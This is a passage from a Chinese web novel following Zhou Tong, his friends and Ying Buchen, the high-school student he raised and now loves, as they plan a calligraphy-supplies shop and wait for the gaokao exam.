“差不多吧,”周瞳说,“现在这小姑娘变化得太快了,去年冬天还打围巾,今天春天穿手链,这还没暑假呢又要弄什么十字绣,新春也快了,这些东西进价低,卖得也不便宜。”周瞳放下了计算机,“你知道我现在有多少钱吗?”
“我管你有多少钱干嘛,”应不尘说,“我只怕你好辛苦。”
“不辛苦,”周瞳说掰着手指,“那小眼镜以后得结婚,我得给他存一点,到时候给他,娘娘腔我看他没嫁人的打算,他的钱就到时候一块弄点别的。”
“我记得娘娘腔是不是老骂小眼镜很窝囊啊?”应不尘问,“那你为啥还对小眼镜那么好?”
“他们之前那点事儿我倒是知道,因为当时卖公司的时候,娘娘腔一分钱也不要,小眼镜拿了钱了嘛,他俩一吵架,娘娘腔总拿这事儿挤兑小眼镜,小眼镜就一句话说不出来。
“小眼镜呢在学校挨欺负,在厂子里面也是人家叫他给他们买香烟,不买香烟就轮不上他干,风子跟娘娘腔他们俩帮小眼镜过来跟人打了一架,小眼镜还跑了。”
“那难怪娘娘腔看不上他。”应不尘戳着笔说,“不太仁义。”
“但是。”周瞳起来说,“那会儿你被我卖了么,我要去抢孩子,这也是我后来听说的,说小眼镜在宿舍里不敢来,窝着不敢动,娘娘腔就骂他,说他这辈子都是孬种,叫他这辈子别生孩子,生了跟他也是遭罪的命,孩子都瞧不起他,小眼镜就急眼了,拿着个榔头要打娘娘腔,娘娘腔说叫他有本事打娃娃贩子去,他就喝了一瓶白的,就来了。”
“他那么害怕胆小,但是来了,就比别的更贵重。”周瞳说,“一群愣头青也没啥好的,你都不知道,当时我只放心让小眼镜去收款子,他除了碰到娘娘腔之外,脾气都很好,不跟那些开大车的觉得自己身后有车有人就牛的不行,而且他呢一直觉得我是因为风子他们没办法才跟着他,但是说实话,胆小有胆小的好处,谨慎周全,话也少,祸从口出,暴脾气没度量的人就怕话赶话,小事儿都闹大了,没必要。”
“瞳哥,那你像我这么大的时候,我记得你就跟我说要有度量,度量到底是啥呀?”应不尘问。
“对我来说的度量就是容人呗,允许别人看不上你,但是更多的我觉得容自己吧,再差劲也不跟自己为难,”周瞳趴着翻书,说,“不帮着别人欺负自己。”
“可是你那会儿还是有点儿不太成。”应不尘咬着笔头说。
他说的是刚出来那会儿。
“要不年轻呢,”周瞳腰有点儿酸,翻过啦翘着脚在床上看应不尘的学习资料,说,“你就有点儿这样,老跟自己过不去。”
“那咱两又不一样,我是欠债,你是债主,我还不着急忙慌的。”应不尘说。
周瞳翻了一页,说,“你给我讲讲这个啥意思。”
应不尘过来看了一会儿,说,“这不就是说秦始皇统一度量衡吗?”
“那你觉得都能被统一吗?”周瞳问。
“基本上能量化的都可以被统一。”应不尘说。
“那你看,你的成绩可以被量化对吧,可以排名出高低,你的工资可以被量化对吧,谁挣得多挣得少,但是除了这些,还有你本身呢?你着急忙慌地等着去做被量化的,咋不看看不能量化的东西?”周瞳说,“你过得高不高兴,睡得安不安稳,你看了多少有意思的书,认识了有意思的人,你麻将又赢了,你踩水船很快,这些跟红烧肉一样要紧,慢一点吧我的宝贝儿,每天晚上的月亮你都没时间看。”
周瞳说,“我希望你走的每一步路,都不是为了别人,哪怕是我也不行。”
79.想得太远
“小尘还有一个月就考试了吧?”娘娘腔剥着橘子问。
“嗯,还有四周。”佟老师说,“他的成绩可好了。”
“也不看谁养的。”周瞳抢了娘娘腔的橘子。
“啊呀,我们也是要培养个人才出来啦!”娘娘腔丝毫不恼,又扒橘子,“我这辈子还没进去过大学呢,小尘回头上学我能去送吗?”
“咋不能,”周瞳说,“你给他拎包去呗。”
“拎包咋了,”娘娘腔说,“你看他读书读的人又瘦了,本来就不大点,你就不能给吃点好的啊?”
“你弄去。”周瞳说,“我都当祖宗一样敬着,我还咋的,我朝他点香啊?”
“现在的家长就是很紧张的一个阶段。”佟老师扶了扶眼镜。
“那不就这一哆嗦吗?”娘娘腔说,“咱都别出幺蛾子。”
“你别出就行,我能干啥。”周瞳拢了下薄薄的黑色夹夹克,用手背掸了掸膝盖。
“我都不想说你,你上回你整得他都病那样了,好几天还没人样。”娘娘腔推了周瞳一把,说,“你就不能现在省着用啊。”
“你,你,你说啥呢,你这人咋不知道害臊的啊。老师还在这呢!”周瞳把屁股往边上挪。
“你们抢被子了?”佟老师问。
“嗯,给他冻感冒了。”周瞳说。
娘娘腔翻了个白眼,说,“一会儿那个乌鸡汤,我找一个老婆子炖的,里面放了中药,补脑子的,你一会儿带回去。”
“谢了啊。”周瞳说,“你都哪些中药,方子给我,我还得问问去。”
“我就知道你要来这茬,”娘娘腔折了个纸飞机飞周瞳身上,“我早找药房问过了。”
“谨慎点是好的。”佟老师推着眼镜说。
“每次我看佟老师都是端端正正地坐着,你不累吗?”周瞳已经快躺沙发上了。
“坐有坐相。”佟老师说。
“你不是搞艺术的吗?”周瞳说。
“艺术自由的是思想。”佟老师说。
“我看你思想也不咋自由。”娘娘腔说,“看是看这种没穿衣服的女人的画册,咋不见你找个对象?”
“那是国外的画册,陶冶的,不是实行的。”佟老师说。
“我叫你找对象。”娘娘腔说,“费劲去了。”
“还没有。”佟老师扶了扶眼镜,说,“先立业。”
“那你业立得咋样了?”周瞳问。
“你说的那个文房的礼品店,我做的粗样还有一些工厂的供货单子我已经给你整理好了。”佟老师说,“这几天小尘生病,你也没来。”
佟老师拿出一箱东西,“这些是样品,上中下三个档次。”
“别有下,直接中档跟高档就行。”周瞳说,“娘娘腔你看看,这玩意儿看着上不上档次?”
“真有人送这个吗?”娘娘腔问,“我看着不如烟酒呢。”
“那些是硬通货,”周瞳说,“这是软的,汪奶你记得吧?汪爷那会儿丧事你也来了,他就乐意捣鼓这个,买的东西都得把价格砍一半再用个零头汇报,我那会儿就想呢,这东西咋这么挣钱。”
“但是光打广告是不是没人看啊。”娘娘腔问。
“谁说我打广告了,我找报社。”周瞳说。
“找报社不还是打广告吗?”娘娘腔说,“还不如把钱花在一新桥打呢,人多。”
“人多没用,他们不看。”周瞳说,“一新桥的都小姑娘,肯花钱在这事儿上的都基本在家看书看报纸呢。”
“我上报社刊比赛,我要在新春搞书法比赛,这东西回头我让小尘给写那种文绉绉的词儿,这些报社啥的肯定都支持呗,我从前看汪爷总用报纸写书法,他们能看见,来的都是有这方面爱好的,比较精准,比赛完我们主办方就上台宣传一下,叫第一名给我们题字,也欢迎他们来我们店里撒墨宝呗。”
佟老师吸了一口气,说,“我能联系几个老师给当评委。”
“要的就是这个。”周瞳说,“少儿组的,老年组的,反正也不要参赛费,带着东西就来比呗,最次我还送一卷宣纸呢。”
“那第一送啥?”娘娘腔问。
“第一跟你有关系吗?”周瞳说,“你那鸡爪子还能握笔是咋的?”
“我问问呗。”娘娘腔说。
佟老师举起手,“我能参加吗?”
“咋不能呢,”周瞳说,“第一我送现金。”
“我还以为你要送店里的东西呢。”娘娘腔有点儿嫌弃说,“那才不亏。”
“你以为现在搞书法的这一帮子人缺钱啊?我送了,他还能给我送回来,人家说啥来着,人家风骨,交个朋友,这就真诚的桥梁。”周瞳说,“小孩儿的那一帮,好的都给裱起来,放心吧,人家爹妈既然能培养这个,就得拖家带口的带着来瞧孩子的书法,没事儿就得往咱这儿溜达。”
“那都看过啊还看啊?”娘娘腔问。
“一看你就没养过孩子。”周瞳说,“我家小尘学校里做个贺卡贴橱窗里,我都去看了好几回,你说呢?”
“你说的不会是那个黑色的,然后花圈上扯了朵花的贴上去那个吧?”娘娘腔问。
“那咋了,啥花不是花。”周瞳说。
佟老师说,“那你把这些定一定,还有印上去的这个标签,我画了几个,你选一选。”
“就这个。”周瞳点了点,“这个大气。”
“这啥字儿啊?”娘娘腔看了看,“花里胡哨的。”
“你懂啥呀,”周瞳说,“字帖呢,都叫我瞧瞧。”
“现在字帖也多,”佟老师在箱子里翻,“这几个我都觉得挺合适的,小孩子学的时候能用这个,这些是有经验的临摹比较好,还有这些羊毛毡,墨水,墨水就这个价格合适墨也好。”
“你这个墨水换瓶子,这么瞧着太次了,档次得拉上来。换那种拿出去一看,呵,虽然不知道这墨水咋样,但是这瓶子就不少花钱的味道来。”周瞳说,“人家问,你就老老实实说,咱就是卖瓶子的,墨水还是那点墨水。”
“为啥你不说这是好墨水啊?”娘娘腔说,“那不懂行的你就忽悠呗。”
“不成,”周瞳说,“这东西你实实在在的,人家买的也情愿,就是卖瓶子的,他不要瓶子你就给他原装货呗。”
“专业性强的,你让他给留言,我们去找,不专业又事儿特别多的,问你管不管三十年那种的生意不接,那种基本都没完没了的,迟早闹得要退钱。”周瞳点点桌子,说,“口碑,要口碑。”
“大家都是认识这玩意儿的,别想着太坑,别啥钱都想挣,过年的时候春联大赛什么的都安排
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上,把我汪爷的书法也给表上,挂上,我没事儿看看。”周瞳说,“这店子呢,我也是想送给我家小尘,能多认识些有文化的,有涵养的,他小时候还跟汪爷学呢,我瞧着他喜欢,就是他把自己逼的太急了,不愿意学这慢慢悠悠平心静气的东西。”
“啧啧,”娘娘腔一脸嫌弃,“人家回头都认识那些厉害的,不乐意搭理我们了,人也见不到,你就哭吧。”
“小尘不是这样的人。”佟老师蹲在地上还在按着条子找东西。
周瞳翘着二郎腿说,“咋老想着绑在身边呢。”
“还有这些是我设计的店铺的样式,这是我做的样子,柜子什么的。”佟老师递给周瞳。
“博古架都给安上,桌子什么的,还得放一些买不到的东西,这玩意儿我搜一搜,那些什么古玩店我去看看,位置我也看好了,一百来平方吧。”周瞳说,“娘娘腔,就搁你那个店子对面。”
“那不都可老了吗?”娘娘腔说,“边上都啥店呀,跟个庙似的那装的。”
“我看完了,那老房子,直接门口都不用翻了,都保留,门槛那些都留着,要不然啥叫古色古香呢,到时候我自己装吧,小眼镜能给我干活。”周瞳叨着瓜子说。
“等尘儿高考完,他就上那儿呆着去,反正他小时候也乐意研究那些东西,”周瞳说。
“真的,你那个脑子,”娘娘腔说,“你一脑子就小尘小尘的,咋给你迷这样啊?”
“他小时候看那个电视,那个什么天龙八部,人家大侠射箭,他看得晚上都在床上蹦,我还心思给他买俩弓箭呢,这玩意儿哪儿有卖的?”周瞳问佟老师。
“这个...我不知道。”佟老师说。
“划一地儿,他玩去射箭去。”周瞳在图纸上涂涂改改,说,“要那种好的,握着重的,瞄准了能射出去的,得多少米啊场子,我问问。”接着就开始按手机。
“你急啥呀,”娘娘腔说,“他小时候喜欢,现在未必喜欢,玩两天就不乐意玩了。”
“我都看了,这玩意儿好,他说以后要当医生呢,这不是集中注意力呢吗?”周瞳说,“我也不懂,但是手总能稳当。”
“小尘说要当医生啊?”娘娘腔问。
“那可不,”周瞳说,“就是读完书都跟我现在一样大了。”
“我听出来了,我说你咋突然说美容医院啥的,你搞半天你就想跟医院那点事儿弄明白呗?”娘娘腔说。
“他不搞那个,”周瞳说,“我想了,美容这个虽然挣钱吧,但是还不是那种治病救人的,你那玩意儿属于锦上添花,他想干那雪中送炭的。”
“你这想的也太远了,他都还没高考完呢。”娘娘腔说。
“慢慢来呗,有点钱了就往医院那路子想,别人都有关系,有门路,就我家小尘没有,一样水平他受委屈那能行吗?”周瞳说,“我也不求咱门路压过人家,但是起码在我这儿,没路就开路,他读十年,我干十年,等他念完出来,我要是硬的话,他能少遭罪,那我要是硬不起来,那没办法,自己闯去吧。”
佟老师摸摸头,说,“我还以为供他上完学就已经很好了。”
“你咋就会觉得十年寒窗能干人家三代积累呢,”周瞳说,“他争气,家长更得争气啊,锅就那么大,那咱不也得尽力给他一个大点儿的勺啊。”
80.它很浪漫
“你最近在忙啥呐?”应不尘问。
“没晚呢,”周瞳看了看表,“你又没好好读书,光盯着我了。”
“哪有,”应不尘说,“我是看你头发上都是木屑。”
“干活儿呢,”周瞳说,“捣鼓点小东西,你不用管。”
“店里生意都好?”应不尘问。
“还成,没啥事儿,”周瞳说,“风筝那头娘娘腔打电话了,就你说的那个流程,现在在观察了,还成,不出啥事儿能出院回去,给小嘉累的就剩下一捧骨头了,打电话还咳嗽呢。”
“她住院也快半年了,”应不尘说,“大家都好辛苦。”
“嗯呢,风筝是从学校毕业了,那你这不是也要毕业了吗?”周瞳系上安全带,说,“今天在学校咋样,累不累。”
“还成吧,”应不尘把书顶在脑袋上,说,“我快在知识的海洋里淹死了。”
周瞳打了他的嘴一下,说,“瞎说话呢。”
“瞳哥。”应不尘拉着他的手喊。
“嗯?”
“感觉你最近好像老了一点儿。”应不尘瞧着他看。
“那我咋不老,我还有半年我就三十了。”周瞳说,“我又不是妖精,还不会老。”
“你是老妖精。”应不尘说。
“我谢谢你啊,”周瞳踩着油门,啄了一下他的手,“坐好。”
“风筝出院你要去吗?”应不尘问。
“看情况,娘娘腔说他去也成。”周瞳说,“我的任务不是把你看好么。”
“那小嘉姐这次带孩子回去,估计她娘家也有话,我感觉娘娘腔弄不好,他去了会不会把事情弄得更坏啊?”应不尘说。
“你那脑子现在是考虑这些事儿的时候吗?”周瞳说,“都没半个月了啊,你就考试了,管好你自己,都大人的事儿。”
“嗷。”应不尘说,“知道了。”
“都等着你考试呢大家,心眼都在你身上,”周瞳说,“小眼镜都出去给你烧香了,烧文殊菩萨的香,娘娘腔还问能不能认全乎呢。”
“娘娘腔给我弄得汤也太难喝了,”应不尘说,“我喝完都觉得晕。”
“那方子我还去问过呢,人家坐堂那个郎中,要号脉那种的,都说方子好,你以为呢,那乌鸡都老鸡,都不好买。”周瞳说,“你这真是吃不明白细糠。”
“哎呀他们这样我压力好大。”应不尘说,“你应该跟他们说我学习不好,那样没期待,我考好了那不是给他们惊喜吗?”
“你当你佟老师在学校看不着成绩表啊?”周瞳说,“你不是读书这事儿挺自信的吗?现在咋怵了?”
“那这事儿哪有准儿啊。”应不尘说,“我这不是怕你失望吗?”
周瞳打着方向盘说,“这事儿咋说呢,我说我对你从来都没失望过啥的,你也不会听也不会信,那咱讲点有用的。”
“如果我一直很穷没有钱,咋的也挣不到钱,连校服费我都没钱给你交,然后你跟我说,瞳哥我对你好失望啊,我会跟你说啥。”
“你会说你行你来。”应不尘说。
“那不就完了吗?”周瞳摸他脑袋说,咧嘴一笑,“是我养的崽。”
“那...那我真的要是考的不好呢?”应不尘低头搓手说,“我还怕对我自己失望呢。”
“你汪爷书房里面,左上角第三幅,黄底的那个,挂的是啥字儿?”
“善败者,不乱。”
“那不就成了吗?”
“我给你拿包,那手都酸不成了吧。”周瞳关上车门,揽着人进楼梯。
“你讲的跟老师讲的一点儿也不一样,”应不尘说,“我们老师叫我们多看看家长期待的目光,叫我们使出吃奶的劲儿呢。”
“那一个猴儿有一个猴儿的栓法啊。”周瞳说,“你又不是那一类。”
“那叫因材施教。”应不尘说。
“不是一个意思吗?”周瞳说,“大差不差。”
“瞳哥,你学过咋教孩子吗?”应不尘问,“什么学习路上的一些困惑怎么解决啊,什么人生路上的认知啊之类的。”
“我哪有功夫学这个。”周瞳掏出钥匙开门,“但是我去割稻子的时候是问过汪爷咋教育孩子,他就跟我说了四个字。”
“啥字?”应不尘问,“啥成语吗?还是啥兵法?”
“都不是,他说,「好好说话」。”周瞳说,“汪爷说,啥教育不教育的,二人相处,叫我跟你好好说话,我跟你好好说话了你就自然会听我到底说了啥,我听你好好说话了我就会知道你要啥,以后你长了出去也能跟人好好说话,他说这事儿能解决很多毛病,大家都知道,没几人做到。”
“那我要是不跟你好好说话呢?”应不尘问。
周瞳瞥了他一眼,“揍。”
二人进了屋,周瞳垂眸点起了三根香,插在香炉里。
香烟袅袅不绝。
周瞳说,“乐意干啥干点啥去,我给你煮点儿宵夜。”
“瞳哥,我感觉你最近厨艺进步神速。”应不尘说,“你学做饭啦?”
“没啊,都娘娘腔来家里弄得差不多让咱两吃,说你饿瘦了不是。”周瞳热着菜,“我那两下子你还不知道?”
“腔叔可真好。”应不尘躺在沙发上看题,说,“他喜欢风子叔。”
“早知道了。”周瞳说,“他那劲儿,就是媚眼抛给瞎子看。”
“风子叔不知道吗?”应不尘问。
“不知道才好呢。”周瞳说,“娘娘腔那会儿咱都看出来,就他俩不知道。”
“为啥会不知道?喜欢谁不喜欢谁的还能自己不知道?”应不尘问。
“那你是咋发现你喜欢我的?”周瞳问。
“嫉妒。”应不尘呆愣了一会儿,“我遇到那个黢黑的姑娘,我嫉妒死了。”
“你会不会觉得我阴暗啊?”应不尘问。
“不会啊,我们以前开车的时候,风来了,沙子也会来,都是一块儿的东西,你不能要求风不带沙。”周瞳说。
“娘娘腔呢,他觉得风子没姑娘喜欢,长得显老,他俩就瞎混,然后等风子真的喜欢小嘉了,他就着急了,着急也没用啊,他觉得自己要是说了,连兄弟都没的做,就那样了呗。”周瞳说,“小嘉不来,他多少年都以为他俩好兄弟讲义气呢。”
周瞳给面条端过来,“吃这个。”
“这下面咋还埋着老鸭子呢?”应不尘嫌弃的搅和,“我不爱吃这个,苦的。”
“人家家长都这样,娘娘腔跟当你妈似的,你还嫌弃上了。”周瞳说,“不吃这鸭子就喝点汤,吃点面条,行不?”
“也不好吃,我不想吃。”应不尘说。
“那下回我不叫他弄了,这回吃了,行吗?”周瞳说,“娘娘腔一番心意呢。”
“好吧。”应不尘皱眉吃面条,“我之前别的同学都说家里家长烦人的时候,我觉得他们身在福中不知福,现在我觉得,我也是一样的,身在福中不知福。”
“这东西,”周瞳仰在沙发上,说,“我记得很久之前有一天下午,快要过年了,风子他们拉完最后一趟货,汪奶在办公室算账,我呢前一个晚上的时候看闲书,看得太困了,你跟汪奶写完作业,就到我边上来磨叽,我就抱着你睡着了,那天下午半睡半醒,我听见汪奶在埋怨账不平,一直在叫我,风子他们在窗户口打陀螺,一下一下的吵死了,我那会儿没觉得有啥好的,就普通日子呗,现在眼睛一闭一睁,像梦醒了似的,汪奶没了,风子也没了。”
“大家都这样,你不用觉得自己埋怨了,就对不起谁了,”周瞳摸摸他的脑袋说,“必经之路,小子。”
外面的树丫已经抽出绿色的叶,应不尘安静地在看书,周瞳翻了本闲书看,时间是唯一不用花钱购买的奢侈品。
在应不尘抬头的时候递给他一根烟,站在窗户前二人错额点烟。
二人共同倚在窗台上抽烟。
“今天这月亮挺好看。”周瞳说。
“你要是知道那些诗人因为这个破月亮写了多少诗,日地月位置与月相题目千变万化,还要背人类探索月球的各种意义,就不会觉得它好看了。”应不尘骂了完了,沉了口气又说,“但是,它是唯一绕着地球运动的卫星。”
周瞳偏头看着应不尘,此时应不尘夹着烟圈着他,踩在他脚上踮脚亲吻。
“它很浪漫,对吧?”应不尘说。
“叽里咕噜的,说啥呢。”周瞳不解,“你说浪漫就浪漫呗。”
“我跟娘娘腔没两样。”应不尘一甩手走了。
“干啥啊,你也要跟他似的穿高跟鞋穿裙子啊?”周瞳倚在窗台问。
“媚眼抛给瞎子看我真是。”应不尘掐了烟,又坐那儿看书去了。
“咋又急眼了,就因为我没文化啊?”周瞳打了他一个脑瓜崩,“而且,我本来就是瞎的啊。”
*
“瞳哥,你上次说的那个博古架那个样式的买有点贵,我自己进的好材料打,按照你量的尺寸,还能省不少钱。”小眼镜的嗓门很大,他在切割木条,眼镜片上蒙着厚厚的木屑。
“行啊,”周瞳说,“到时候做一半的时候看看吧,我也看了几个网上的,不是贵就是跟我想的不太一样,你按我画的图纸整呗。”
“周哥,这边地板做的不便宜,有点超你给的价格。”佟老师最近也不怎么用去学校了,成天不是搬着个脚手架就在这儿跟他们混一起。
“没事儿,我看了,这个效果好,那个灯,我觉得一般的那种一个灯照的不咋好看,你给研究研究那灯,咋打能像样。”周瞳戴着个白手套,往里搬屏风。
“这个屏风好看啊,”小眼镜跑过来一起抬,说,“这太扎实了。”
“这味儿是不是一下子就上来了。”周瞳说,“啥叫古色古香你瞧瞧。”
“小眼镜老师,这个窗户的装饰条要这么再去一下角?”佟老师说,“太尖了,要润一点。”
小眼镜跑了过去,跟佟老师合力把门窗框给装上去。
这都忙活了大半个月了,总算是有了个雏形。
三人支起个简易的桌子吃盒饭,佟老师噔噔噔的把之前周瞳说过意见的东西掏出来,给桌子上的灰擦一擦,“周哥,你看看这些,第一批我们要卖哪些?”
“我上回跟你说的定制盒子啥时候到?”周瞳扒拉着饭问。
“快了,在做了,就你定的哪些样品。”佟老师说。
“那种里面就放样子好的但是卖给那些小孩儿。”周瞳说,“送孩子差不多。”
“这些是狼,獾,羊,马的不同口径不同出峰的,砚台,水滴,笔舔,墨条,镇纸,你说的这一套。这套贵点儿。”佟老师把东西都展开。
“这个是松烟的,这个是胶墨的是吧?这个写字都用这个,还得磨墨,这些人真是有耐心。”周瞳在砚台里搓了几下,“我就整不了这个,回头让小尘来,他喜欢这种东西,几个都留着给他玩吧。”
“你这个印章,这个东西等他们想刻啥之类的,客人定,这个可以多弄点,送人也合适,有心意这个,刻刻闲章。”周瞳说,“顺便那什么,洗墨汁的东西就送,样子好一点,也省的客人弄脏衣服还得自己去买,洗着洗着第二回都不愿意弄了。”
“宋眉抄手砚,这个东西我觉得自己店里给尘儿放一个,”周瞳上手摸着左右看了看,说,“这东西我觉得有点儿一辈子就一个这意思,放几个展示的,他们定了再进货吧,真懂行的也自己都有。”
周瞳端起来看,也没看出来什么花头。
“这些都单拎出来卖就成,要什么礼盒他们自己组。”周瞳说,“单买这收东西的盒子也行,出去写字带着方便,真玩这个的不要套盒,你这个套盒底下绒布下面得能拎起来,空一块儿,这两头弄两绳子,能栓的。”
“为啥要空一块?”佟老师问,“不晃吗?”
“他们要放啥放啥呗。”周瞳说。
小眼镜喊,“方便人家送钱!他以前老埋怨送的礼品没脑子,钱都没地方塞!”
“那个手模型,串儿什么的,这两天快到了,”周瞳说,“东西都到了,这架子得赶紧打完,还得散散味。汪爷走了之后他房子里的东西小尘收旺旺那去了,我过两天去取,回来都给他表起来,都放上。”<
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“瞳哥,这玩意儿能挣钱吗?”小眼镜看着这些东西,“我这辈子也不会买。”
“尘儿喜欢。”周瞳说,“喜欢的东西不挣钱也喜欢,能挣钱更喜欢。”
“这边让他们写字,打个大桌,有人等就有人烦,边上这儿,”周瞳用脚圈着地儿,“弄个茶台,闲书,沙发,软和点的,跟那边隔开,这儿靠近窗户,也好通风。”
“这地儿就放那个我画的第二张的那个架子,后面搞这个让尘儿射箭的。”周瞳踩着步子量,“差不多,拿过来我试试。”
周瞳拎着弓,嘿地笑了一声,“我这眼睛牛逼,人家都得闭眼,我都不用,我睁着俩眼睛就直接开射了。”
小眼镜回头看着他,没说话,佟老师站在后面,只是微叹了一口气。
“你那些国画的颜料,都齐了吗?展示的跟卖的,洋货也弄一点啊。”周瞳说。
“我明天过去取。”佟老师说,“就是小眼镜打架子忙不过来。”
“你忙你的,我晚上在这住。”小眼镜说。
“小眼镜是厉害,开完大车就去学木工,在我这儿真是浪费。”周瞳说,“人才呀小眼镜,干活儿又仔细又麻利。”
“风筝那头老板娘跟娘娘腔约着送回去他娘家了,”小眼镜说,“他们不要这娘俩再说吧。”
“嗯,娃娃好就行,别的咱就托底就行了。”周瞳说,“要是娘娘腔那头弄不清楚早点跟我说。”
“那小尘不是都要高考了么,你店里每天房租交着,娘娘腔来能干啥啊,净会捣乱的。”小眼镜蹲在地上磨架子,切割好的木材要组起来。
“俩娃娃都要紧啊,小尘大孩子了。”周瞳拿着木材往角磨机里磨,说,“他老问老问的,风筝好不好。”
“整不了再说吧。”小眼镜说。
“你那游戏机厅每天的钱都给你车上呢,你看没看,”小眼镜说,“你记账了吗?”
“记着呢记着呢,”周瞳说,“开工资的钱给小厉留了吗?回头你跟他说,让他看看这店子他多少钱能兑走,流水他比任何人清楚,这行业他也干了挺久了,叫他说个数,差不多就兑给他,但是我要现钱,叫他自己想想办法。”
“你那个店子还挣钱了,你就兑啦?”小眼镜问。
“我那个店子我早回本了,里外里还挣了不少,接下来机器要更新换代,而且也有新店子开出来。”周瞳捣鼓着木门。说,“大头都吃完了,而且这大头还是人家给我维持的,我根本没花啥心思,别把人往死了用。”
“那他要是没钱呢?”小眼镜问。
“那我不是叫他去想办法呢么?”周瞳说,“我很早就跟他说了,我就开到尘儿读完书,这么长时间他想不出来一点办法啊?那就跟这店子没缘分呗,也不怪我。”
“我有时候不明白你到底是想给他还是不想给他。”小眼镜的活儿太大,他头发上全是灰。
“年轻人不就应该吃吃没办法的苦吗?”周瞳说,“他没钱,我还给他,我就得赊,赊就容易出毛病,今天跟我说生意不好,明天跟我说家里有事,反正最后恩情都会被消磨完,花我的钱去给我自己找不痛快啊?”
“那你为啥不叫小尘吃没办法的苦啊?”小眼镜说,“年轻人不就是应该磨炼吗?”
“有毛病,”周瞳拿着榔头敲门,“你乐意吃苦你去吃呗,谁拦着你了,脑子不正常。”
“他就是脑子不正常。”娘娘腔踩着高跟鞋就进来,一进来就掸鼻子,说,“脏死了!”
“有你啥事?”小眼镜说,“边上去。”
“吃饭也不叫我,”娘娘腔说,“我就在对面,倒是喊一声啊。”
“我不是让佟老师去叫你了吗?”周瞳说,“咋没叫呀?”
“他来的时候我在跟别人亲嘴巴,”娘娘腔若无其事地说,“亲完给忘了。”
“行吧。”周瞳说,“菜在桌子上,你赶紧吃吧。”
小眼镜做了个呕吐的表情,被娘娘腔踢了一脚。
“你以后别上这个店子来,这都高档货,别被你这个低档货给弄脏了。”小眼镜挤兑他。
“你求我来我都不来,这都啥玩意儿啊,”娘娘腔看着桌子上的东西,说,“啧啧啧,都给我赶不上一条金项链。”
“这些,这些都很好的东西,”佟老师说,“我读书的时候,做梦都想要这些东西。”
“你这梦做的可真够不值钱的。”娘娘腔一推东西,“谁家好老爷们做梦梦这个。”
“那梦什么?”佟老师问。
“我的妈呀,”娘娘腔说,“你就不该跟小眼镜凑一堆,全傻子。”
“我读书时候做梦,就梦老师打我手心。”小眼镜低头用衣服擦着眼睛片儿,乐了,“给我都吓醒了。”
“周哥,你做梦的时候梦啥?”佟老师把东西盖上,又一件件收在箱子里。
“我做梦?”周瞳说,“我那会儿做梦...”
周瞳印象深刻的梦,好像就是在里面的时候,案子也审完了,可以移交了,心里的大石头也落地了。里面没有追债的,也没有黑姑娘,没有小心翼翼的应不尘,也没有怜惜看着他的汪奶。
一切都回到了最开始,是进了监狱的第七天,他做了的梦。
那个梦里不知道为什么他在山洞里,外面激起千层的风浪,卷着就往山洞里面冲进来,很像他去年看得一个叫《风云》的电视剧里面聂风他爹被追进菩萨膝的场景,然后他听见风子在喊他,快到车上来!
周瞳困惑不已的看着山洞外越涨越高的浪,都要奔涌进这狭小的山洞,他听见了外面短暂又急促的拐杖音,是汪爷来了,周瞳跑过去看,汪爷跑得比他还快,他正想笑呢,汪奶就说,汪爷在前面等他,就叫他快跑,周瞳就在山洞里跑啊跑,跑啊跑。
回头的时候,一个人都没了。
最后一面都见完了,甚至都没看清楚。
周瞳醒来的时候怅然若失,他睁着眼睛看着天花板到天明。
再迟疑了一下,没有梦到应不尘,有点可惜。
谁说我四年没见你。
我可是在梦里见了你很多次。
81.不心疼人
「抓住最后的冲刺阶段,每一滴汗水,都铸就明日辉煌,在困难面前不放弃,就一定能赢得光明的未来——!」
每天晚上九点半,整个新春最吵闹的地方,除了一新桥就是各个高中了。
新春四中门口乌泱泱地挤满了人,他们有的给孩子送东西,有的就是过来看看,远一点儿的有些周末不回家的孩子山里的父母也来了。
“你们学校这个大喇叭的词儿,”周瞳掏着耳朵说,“天天晚上不重样,这样真的好使吗?”
“这不是还有一个礼拜了吗,”应不尘从人群里挤出来歪在副驾驶,“比白事上的丧乐都闹人。”
“你瞎说啥呢,”周瞳给他系上安全带,又揩油亲了一口,“这是喜事,一天到晚嘴上没个把门的。”
“快带我回家吧,这大喇叭我真的一分钟都受不了了。”应不尘捂着耳朵。
“把窗户摇起来不就成了。”周瞳踩着油门往家回,天气又热了一点儿,“你们这届开始就这6月头开始高考了啊?”
“嗯,以后应该就这样了,不然之前的时间太热了,人都要生病。”应不尘说,“最后一周了,我们老师都不咋上课了,一边叫我们放松一边叫我们抓紧,我都不知道他到底想要啥。”
“那不跟你似的么?”周瞳揶揄他,“一边拽一边推的,我基本也搞不懂你想干啥。”
“你说啥呀!”应不尘的脸蹭一下的红了,“你,你瞎说啥呀,好好开你的车呀。”
“我这不就是在开车吗?”周瞳拧着方向盘,说,“我老能看见那个鬼鬼祟祟的李泥鳅,今儿个我还在一新桥见了,你别自己跑出来,他啥也没有,小鬼难缠。”
“知道。”应不尘可没打算搭理李泥鳅,“我可不跟他起事儿,今天回去可不喝老鸭子汤吧?”
“没,我跟娘娘腔说了,我说太补了你上火了,暂停了。”周瞳看了他又瘦,之前穿着外套还没这么明显,“你倒是说点儿你爱吃的,我天南地北给你寻来吃啊,咋又瘦了,看着头发都黄。”
“不想吃。”应不尘看着窗外,说,“没胃口。”
“啊,”周瞳眯着眼点了根烟,单手搓着方向盘,掐了掐他的腰,说,“太瘦了,弄起来不舒服,都骨头,硌人。”
应不尘迟疑了一会儿,说“我吃你上回弄得红烧肉,还要烧土豆。”
他低头看自己,“好像是有点太瘦了。”
“可不呢,”周瞳大叹一口气,拍拍自己的面颊,说,“我最近打扫你那些垃圾都胖了,没给你补都给我补了。”
“没见胖,”应不尘去抓他胳膊,“我觉得你装卸那会儿最好看,那会儿胃口也大。”
“最近也还成,中午吃的也多。”周瞳笑起来,“一累吃的就多,我们还好几个人,都抢着吃,跟饿死鬼一样。”
“佟老师不会抢吧?斯斯文文的。”应不尘去摸周瞳的小腹,“还是没以前好看啊。”
“你佟老师?他不抢他吃剩饭呗,谁惯他。现在一喊吃饭他马上就来了,知道晚了不会留菜给他,谁跟他讲礼貌啊。”周瞳拉开应不尘骚动的手指,“注意点儿,我可是让娘娘腔给损了,咱两那点事儿回头再说,你破手指头干啥呢。”
车还在继续行驶,天已经热了,周瞳穿了件黑色绸感的衬衫,胸口的扣子似是故意没扣好,一动都能露出来一些应不尘不愿意让别人看见的东西。
应不尘上下其手,趴过来把脑袋乱搁。
“开车呢!”周瞳轻轻推他,“别闹别闹别闹。”
